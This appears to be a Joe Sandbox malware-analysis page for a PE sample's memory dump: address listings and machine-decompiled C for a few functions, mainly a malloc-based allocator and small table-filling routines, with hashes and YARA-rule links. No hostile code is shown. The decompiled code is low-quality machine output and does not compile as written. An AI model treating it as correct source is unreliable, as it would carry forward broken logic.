0x00417b8b
0x00417b90
0x00417b93
0x00417b95
0x00417b9a
0x00000000
0x00417b9a
0x00417b79
0x00417b4e
0x00417b4e
0x00417b52
0x00417b55
0x00417b58
0x00417b5b
0x00417b5f
0x00000000
0x00417b5f
0x004174f2
0x004174f2
0x004174f4
0x00000000
0x004174fa
0x004174fa
0x004174fd
0x00417500
0x00000000
0x00417506
0x00417506
0x00417509
0x0041750f
0x00417515
0x00417515
0x00417518
0x0041751a
0x0041751d
0x0041751f
0x00417522
0x00417522
0x00417525
0x00417527
0x00417527
0x0041752c
0x0041752f
0x00417533
0x00417538
0x0041753a
0x0041753f
0x00000000
0x0041753f
0x00417500
0x004174f4
0x004174ec
0x00000000
0x00000000
0x00417490
0x00417493
0x00417495
0x00417498
0x0041749d
0x004174a1
0x004174a3
0x004174a6
0x004174a9
0x00417adb
0x00417ade
0x00417ae0
0x00417ae5
0x00417ae9
0x00417aee
0x00417af1
0x00417af3
0x00417af8
0x00417afa
0x00417afa
0x004174af
0x004174b1
0x004174b6
0x004174b9
0x004174be
0x004174c0
0x004174c2
0x004174c7
0x00000000
0x00000000
0x00417440
0x00417447
0x0041744a
0x00417451
0x00417454
0x00000000
0x0041745a
0x0041745a
0x0041745c
0x0041745f
0x00417462
0x00417465
0x00417468
0x0041746f
0x00417472
0x00417475
0x0041747b
0x0041747e
0x00417481
0x00000000
0x00417481
0x00000000
0x00000000
0x00417410
0x00417413
0x00417415
0x00417418
0x0041741d
0x00417424
0x00417429
0x0041742b
0x0041742d
0x00417432
0x00000000
0x00000000
0x00417939
0x00417939
0x0041793c
0x0041793f
0x00000000
0x00417945
0x00417945
0x00417947
0x0041794a
0x0041794c
0x0041794f
0x00417952
0x00417959
0x0041795d
0x00417960
0x0041796a
0x0041796d
0x0041796f
0x0041796f
0x0041796f
0x00417972
0x00417976
0x0041797b
0x00417980
0x00417980
0x00417984
0x0041798b
0x0041798e
0x00417992
0x00417995
0x00417997
0x00000000
0x0041799d
0x004179a0
0x004179a5
0x004179a8
0x004179aa
0x004179ad
0x004179af
0x004179b2
0x004179b5
0x004179b5
0x004179b8
0x004179bb
0x004179c2
0x004179c5
0x004179c5
0x00000000
0x00417997
0x00000000
0x00000000
0x004172fb
0x004172fe
0x00417307
0x00417314
0x0041731f
0x00417324
0x0041732a
0x00000000
0x0041732c
0x0041732c
0x00417332
0x00000000
0x00417334
0x00417337
0x0041733d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041733d
0x00417332
0x00000000
0x00000000
0x00417a73
0x00417a73
0x00417a76
0x00417a79
0x00000000
0x00417a7f
0x00417a7f
0x00417a81
0x00417a84
0x00417a87
0x00417a8a
0x00417a8d
0x00417a94
0x00417a9a
0x00417aa1
0x00417aa1
0x00000000
0x00000000
0x004178da
0x004178da
0x004178dd
0x004178e0
0x00000000
0x004178e6
0x004178e6
0x004178e8
0x004178eb
0x004178ee
0x004178f1
0x004178f4
0x004178fb
0x00417901
0x00417908
0x00417908
0x00000000
0x00000000
0x004178a3
0x004178a3
0x004178a6
0x004178a9
0x00000000
0x004178af
0x004178af
0x004178b1
0x004178b4
0x004178b7
0x004178ba
0x004178c1
0x004178c4
0x004178ca
0x004178d1
0x00000000
0x004178d1
0x00000000
0x00000000
0x0041786c
0x0041786c
0x0041786f
0x00417872
0x004adb10
0x004adb18
0x004adb1d
0x004adb1f
0x004adb1f
0x004adb27
0x004adb2c
0x00000000
0x00417878
0x00417878
0x0041787a
0x0041787d
0x00417880
0x00417883
0x0041788a
0x0041788d
0x00417893
0x0041789a
0x00000000
0x0041789a
0x00000000
0x00000000
0x00417a05
0x00417a05
0x00417a08
0x00417a0b
0x00000000
0x00417a11
0x00417a11
0x00417a13
0x00417a16
0x00417a19
0x00417a1c
0x00417a23
0x00417a26
0x00417a2c
0x00417a33
0x00000000
0x00417a33
0x00000000
0x00000000
0x004179ce
0x004179ce
0x004179d1
0x004179d4
0x00000000
0x004179da
0x004179da
0x004179dc
0x004179df
0x004179e2
0x004179e5
0x004179ec
0x004179ef
0x004179f5
0x004179fc
0x00000000
0x004179fc
0x00000000
0x00000000
0x00417a3c
0x00417a3c
0x00417a3f
0x00417a42
0x004adb2e
0x004adb2e
0x004adb36
0x004adb3b
0x004adb3d
0x004adb3d
0x004adb45
0x004adb4a
0x004adb4c
0x004adb4c
0x004adb54
0x004adb59
0x00000000
0x00417a48
0x00417a48
0x00417a4a
0x00417a4d
0x00417a50
0x00417a53
0x00417a5a
0x00417a5d
0x00417a63
0x00417a6a
0x00000000
0x00417a6a
0x00000000
0x00000000
0x00417835
0x00417835
0x00417838
0x0041783b
0x00000000
0x00417841
0x00417841
0x00417843
0x00417846
0x00417849
0x0041784c
0x00417853
0x00417856
0x0041785c
0x00417863
0x00000000
0x00417863
0x00000000
0x00000000
0x00417914
0x00417914
0x00417916
0x0041791b
0x00417922
0x00417927
0x00417929
0x0041792b
0x00417930
0x00000000
0x00000000
0x004177fe
0x004177fe
0x00417801
0x00417804
0x004adb5b
0x004adb5b
0x004adb63
0x004adb68
0x004adb6a
0x004adb6a
0x004adb72
0x004adb77
0x004adb79
0x004adb79
0x004adb83
0x004adb85
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbc8
0x004adbca
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe7
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adc04
0x004adc09
0x004adc0c
0x0041780a
0x0041780a
0x0041780c
0x0041780f
0x00417812
0x00417815
0x0041781c
0x0041781f
0x00417825
0x0041782c
0x00417345
0x0041734c
0x0041734c
0x00000000
0x00000000
0x004177b0
0x004177b0
0x004177b3
0x004177b4
0x00417ba3
0x00417ba6
0x00417ba9
0x00417bb0
0x00417bb2
0x00417bb5
0x00417bba
0x00417bbd
0x004177ba
0x004177ba
0x004177c1
0x004177c1
0x004177c3
0x004177c5
0x00000000
0x004177cb
0x004177cb
0x004177ce
0x004177d1
0x00000000
0x004177d7
0x004177da
0x004177dd
0x004177df
0x004177e4
0x004177e6
0x004177eb
0x004177ee
0x004177f0
0x004177f5
0x004173e0
0x004173e0
0x004173e2
0x00000000
0x004173e8
0x004173e8
0x004173e8
0x004173eb
0x004173ee
0x00000000
0x004173f4
0x004173f7
0x004173fa
0x004173fa
0x00417401
0x0041740b
0x0041740b
0x004173ee
0x004173e2
0x004177d1
0x00000000
0x00000000
0x004172f4
0x004172ef
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18410aa934ed46e0ad6688a942d13a18d0cf72d7fe256bf3ce011d6740f7dab4
Instruction ID: 785c85a5003533c7d13b914a23211e0d1830654353705887d36ce9ed261fb53a
Opcode Fuzzy Hash: 18410aa934ed46e0ad6688a942d13a18d0cf72d7fe256bf3ce011d6740f7dab4
Instruction Fuzzy Hash: 3AF171B0A082058FC7049F29C48039ABBF2AF44344F15856EEC9A9F346D77DD986DF99

Uniqueness

Uniqueness Score: -1.00%

Function 004309A0 Relevance: 1.4, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E004309A0(void* __eax, void* __ebx, signed int __edi, void* __esi) {
				void* _t10;
				void _t11;
				void* _t13;
				void* _t15;
				signed int* _t17;
				void* _t18;
				void* _t21;
				void* _t24;
				signed int _t26;
				signed int* _t28;
				signed int _t33;
				void* _t36;
				signed int* _t38;
				signed int _t39;
				signed int _t43;
				void* _t45;
				void* _t46;
				void* _t47;

				_t41 = __esi;
				_t39 = __edi;
				_push(__edi);
				_push(__esi);
				_t23 = __eax;
				_t46 = _t45 - 0x10;
				_t36 =  *0x5b89d4; // 0x2
				if(_t36 != 0) {
					 *_t46 = 0x5b8cb8;
					_t10 = E00420870(__eflags);
					__eflags = _t10;
					if(_t10 != 0) {
						_t11 = E00432490();
						_t37 = _t36 + 1;
						__eflags = _t36 + 1;
						 *_t46 = _t11;
						if(_t36 + 1 == 0) {
							E004ABE80();
						}
						E00422E70(_t11, _t23, _t37, _t39, _t41);
						_t47 = _t46 - 0x1c;
						_t13 =  *0x5b89d4; // 0x2
						__eflags = _t13;
						if(_t13 != 0) {
							 *_t47 = 0x5b8cb8;
							E00420810();
						}
						 *_t47 = 0x4a00;
						 *0x5b8cc8 = 0x4a00; // executed
						_t15 = malloc(??); // executed
						 *0x5b8cc4 = _t15;
						__eflags = _t15;
						if(_t15 == 0) {
							 *0x5b8cc8 = 0;
							 *0x5b8cc0 = 0;
						} else {
							 *0x5b8cc0 = _t15;
							 *_t15 = 0x4a00;
							 *(_t15 + 4) = 0;
						}
						 *_t47 = 0x4acad0;
						return E004014C0();
					} else {
						_t24 = _t23 + 0x10;
						_t38 =  *0x5b8cc0; // 0x182410
						__eflags = _t24 - 8;
						_t25 =  <  ? 8 : _t24;
						_t33 = ( <  ? 8 : _t24) + 0x0000000f & 0xfffffff0;
						__eflags = _t38;
						if(_t38 != 0) {
							goto L2;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t38 =  *0x5b8cc0; // 0x182410
					_t30 =  <  ? 8 : __eax + 0x10;
					_t33 = ( <  ? 8 : __eax + 0x10) + 0x0000000f & 0xfffffff0;
					if(_t38 == 0) {
						_t26 = 0;
					} else {
						L2:
						_t26 =  *_t38;
						if(_t33 > _t26) {
							while(1) {
								_t17 = _t38[1];
								__eflags = _t17;
								if(_t17 == 0) {
									break;
								}
								_t26 =  *_t17;
								__eflags = _t26 - _t33;
								if(_t26 >= _t33) {
									_t38 =  &(_t38[1]);
									__eflags = _t38;
									goto L10;
								} else {
									_t38 = _t17;
									continue;
								}
								goto L8;
							}
							L7:
							_t21 =  *0x5b89d4; // 0x2
							_t26 = 0;
							__eflags = _t21;
							if(_t21 != 0) {
								goto L13;
							}
						} else {
							_t17 = _t38;
							_t38 = 0x5b8cc0;
							L10:
							_t39 = _t17[1];
							_t43 = _t26 - _t33;
							if(_t43 <= 7) {
								L15:
								 *_t17 = _t26;
								 *_t38 = _t39;
							} else {
								_t28 = _t17 + _t33;
								_t28[1] = _t39;
								_t17 =  *_t38;
								 *_t28 = _t43;
								 *_t17 = _t33;
								 *_t38 = _t28;
							}
							_t6 =  &(_t17[4]); // 0x10
							_t26 = _t6;
							_t18 =  *0x5b89d4; // 0x2
							if(_t18 != 0) {
								L13:
								 *_t46 = 0x5b8cb8;
								if(E004208D0() != 0) {
									_t17 = E004324C0();
									goto L15;
								}
							}
						}
					}
					L8:
					return _t26;
				}
			}

0x004309a0
0x004309a0
0x004309a0
0x004309a1
0x004309a3
0x004309a5
0x004309a8
0x004309b0
0x00430a60
0x00430a67
0x00430a6c
0x00430a6e
0x00430aaa
0x004adba8
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbc8
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe7
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00430a70
0x00430a70
0x00430a78
0x00430a7e
0x00430a81
0x00430a87
0x00430a8a
0x00430a8c
0x00000000
0x00430a92
0x00000000
0x00430a92
0x00000000
0x00430a8c
0x004309b6
0x004309be
0x004309c7
0x004309cd
0x004309d2
0x00430aa3
0x004309d8
0x004309d8
0x004309d8
0x004309dc
0x004309eb
0x004309eb
0x004309ee
0x004309f0
0x00000000
0x00000000
0x004309e3
0x004309e5
0x004309e7
0x00430a10
0x00430a10
0x00000000
0x004309e9
0x004309e9
0x00000000
0x004309e9
0x00000000
0x004309e7
0x004309f2
0x004309f2
0x004309f7
0x004309f9
0x004309fb
0x00000000
0x00000000
0x004309de
0x00430a97
0x00430a99
0x00430a13
0x00430a15
0x00430a18
0x00430a1d
0x00430a50
0x00430a50
0x00430a52
0x00430a1f
0x00430a1f
0x00430a22
0x00430a25
0x00430a27
0x00430a29
0x00430a2b
0x00430a2b
0x00430a2d
0x00430a2d
0x00430a30
0x00430a37
0x00430a39
0x00430a39
0x00430a47
0x00430a49
0x00000000
0x00430a49
0x00430a47
0x00430a37
0x004309dc
0x004309fd
0x00430a05
0x00430a05

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93a9393043545b982a89390cb171d7753044c10fb2fae88cc6ccb62a82f792c
Instruction ID: 6f239a02b91904052718e20360a3570ef4fb7d4a1ca452de77abafed8e155e28
Opcode Fuzzy Hash: d93a9393043545b982a89390cb171d7753044c10fb2fae88cc6ccb62a82f792c
Instruction Fuzzy Hash: DC41C3B07013008BD750AF69E8907377AE5FB69304F55636ED5428F352EB789844CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00417939 Relevance: 1.3, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00417939(void* __ebx, void* __esi, signed int _a44) {
				intOrPtr _t28;
				signed int _t30;
				signed int _t32;
				void* _t35;
				void* _t37;
				signed int _t38;
				void* _t40;
				void* _t42;
				intOrPtr* _t45;
				signed int* _t46;

				_t42 = __esi;
				_t35 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x14)) >=  *((intOrPtr*)(__ebx + 0x18))) {
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t27 =  *8;
					asm("ud2");
					_t38 = _t37 + 1;
					__eflags = _t38;
					 *_t45 =  *8;
					if(_t38 == 0) {
						E004ABE80();
					}
					_t28 = E00422E70(_t27, _t35, _t38, _t40, _t42);
					_t39 = _t38 + 1;
					__eflags = _t38 + 1;
					 *_t45 = _t28;
					if(_t38 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t28, _t35, _t39, _t40, _t42);
					_t46 = _t45 - 0x1c;
					_t30 =  *0x5b89d4; // 0x2
					__eflags = _t30;
					if(_t30 != 0) {
						 *_t46 = 0x5b8cb8;
						E00420810();
					}
					 *_t46 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t32 = malloc(??); // executed
					 *0x5b8cc4 = _t32;
					__eflags = _t32;
					if(_t32 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t32;
						 *_t32 = 0x4a00;
						 *(_t32 + 4) = 0;
					}
					 *_t46 = 0x4acad0;
					return E004014C0();
				} else {
					__edi = __eax;
					__eax = __eax + 1;
					__edx = 0;
					__edi = __edi << 4;
					__edi = __edi +  *((intOrPtr*)(__ebx + 0x10));
					 *(__edi + 4) = 0;
					_a44 = __edi;
					 *(__ebx + 0x14) = __eax;
					 *__edi = 0x2c;
					 *(__esi + 2) & 0x000000ff = ( *(__esi + 2) & 0x000000ff) - 0x30;
					__eflags = __al - 9;
					_t9 = __al - 9 < 0;
					__eflags = _t9;
					__edx = 0 | _t9;
					 *((short*)(__edi + 0xc)) = __dx;
					if(__eflags <= 0) {
						__ebx + 0xc = E00415BE0(__ebx + 0xc);
						__edi = _a44;
					}
					__eax = __ebx;
					 *((intOrPtr*)(__edi + 8)) = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
					__eax = _a44;
					__eax =  *(_a44 + 8);
					__eflags = __eax;
					if(__eax != 0) {
						__ebx + 0xc = E00415BE0(__ebx + 0xc);
						__eax =  *(__ebx + 0xc);
						__edx = 0;
						__eflags =  *__eax;
						if( *__eax != 0) {
							__edx = __eax + 1;
							 *(__ebx + 0xc) = __eax + 1;
							__edx =  *__eax & 0x000000ff;
						}
						__eflags = __dl - 0x73;
						__eax = _a44;
						__edx = __dl & 0x000000ff;
						 *((short*)(_a44 + 0xe)) = __dx;
					}
					return 0;
				}
			}

0x00417939
0x00417939
0x0041793f
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbc8
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe7
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00417945
0x00417945
0x00417947
0x0041794a
0x0041794c
0x0041794f
0x00417952
0x00417959
0x0041795d
0x00417960
0x0041796a
0x0041796d
0x0041796f
0x0041796f
0x0041796f
0x00417972
0x00417976
0x0041797b
0x00417980
0x00417980
0x00417984
0x0041798b
0x0041798e
0x00417992
0x00417995
0x00417997
0x004179a0
0x004179a5
0x004179a8
0x004179aa
0x004179ad
0x004179af
0x004179b2
0x004179b5
0x004179b5
0x004179b8
0x004179bb
0x004179c2
0x004179c5
0x004179c5
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4719e821cd73da004a955a2c7e621d4727175c99c182c6d1223301935bf595bc
Instruction ID: 4ae2a82e896a32cbe479eae899c7e7415fea1509631d3a3348d4f74b4fc80645
Opcode Fuzzy Hash: 4719e821cd73da004a955a2c7e621d4727175c99c182c6d1223301935bf595bc
Instruction Fuzzy Hash: 69319EB16082008FE340EF75D48176ABBE1BF61308F4981AAD4888B362D77CE545DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041786C Relevance: 1.3, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E0041786C(void* __ebx, void* _a44) {
				void* _t18;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t31;
				void* _t33;
				intOrPtr _t35;
				void* _t36;
				void* _t38;
				void* _t40;
				intOrPtr* _t43;
				void* _t44;

				_t33 = __ebx;
				_t35 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t35 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t26 =  *8;
					asm("ud2");
					_t36 = _t35 + 1;
					 *_t43 =  *8;
					if(_t36 == 0) {
						E004ABE80();
					}
					_t27 = E00422E70(_t26, _t33, _t36, _t38, _t40);
					_t37 = _t36 + 1;
					 *_t43 = _t27;
					if(_t36 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t27, _t33, _t37, _t38, _t40);
					_t44 = _t43 - 0x1c;
					_t29 =  *0x5b89d4; // 0x2
					if(_t29 != 0) {
						 *_t44 = 0x5b8cb8;
						E00420810();
					}
					 *_t44 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t31 = malloc(??); // executed
					 *0x5b8cc4 = _t31;
					if(_t31 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t31;
						 *_t31 = 0x4a00;
						 *(_t31 + 4) = 0;
					}
					 *_t44 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c3210;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 0xa;
					return _t18;
				}
			}

0x0041786c
0x0041786c
0x00417872
0x004adb10
0x004adb1d
0x004adb1f
0x004adb2c
0x004adb2e
0x004adb3b
0x004adb3d
0x004adb4a
0x004adb4c
0x004adb59
0x004adb5b
0x004adb68
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00417878
0x00417878
0x0041787a
0x0041787d
0x00417880
0x00417883
0x0041788a
0x0041788d
0x00417893
0x0041789a
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4a36d279df40da019485ddc5eab8de3b12a05489aeb63af9457ecba67710a979
Instruction ID: 42a501b1247e1946c138f44172211a442da18a955b44774799d38c6db2def823
Opcode Fuzzy Hash: 4a36d279df40da019485ddc5eab8de3b12a05489aeb63af9457ecba67710a979
Instruction Fuzzy Hash: 3D21F6B16052008FE340DF29E44571A7BE0BB6130DF018659E6C99B361DBB9D949CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004178A3 Relevance: 1.3, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E004178A3(void* __ebx, void* _a44) {
				void* _t17;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t42;

				_t31 = __ebx;
				_t33 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t33 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t24 =  *8;
					asm("ud2");
					_t34 = _t33 + 1;
					 *_t41 =  *8;
					if(_t34 == 0) {
						E004ABE80();
					}
					_t25 = E00422E70(_t24, _t31, _t34, _t36, _t38);
					_t35 = _t34 + 1;
					 *_t41 = _t25;
					if(_t34 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t25, _t31, _t35, _t36, _t38);
					_t42 = _t41 - 0x1c;
					_t27 =  *0x5b89d4; // 0x2
					if(_t27 != 0) {
						 *_t42 = 0x5b8cb8;
						E00420810();
					}
					 *_t42 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t29 = malloc(??); // executed
					 *0x5b8cc4 = _t29;
					if(_t29 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t29;
						 *_t29 = 0x4a00;
						 *(_t29 + 4) = 0;
					}
					 *_t42 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c31fc;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 9;
					return _t17;
				}
			}

0x004178a3
0x004178a3
0x004178a9
0x004adb1f
0x004adb2c
0x004adb2e
0x004adb3b
0x004adb3d
0x004adb4a
0x004adb4c
0x004adb59
0x004adb5b
0x004adb68
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x004178af
0x004178af
0x004178b1
0x004178b4
0x004178b7
0x004178ba
0x004178c1
0x004178c4
0x004178ca
0x004178d1
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
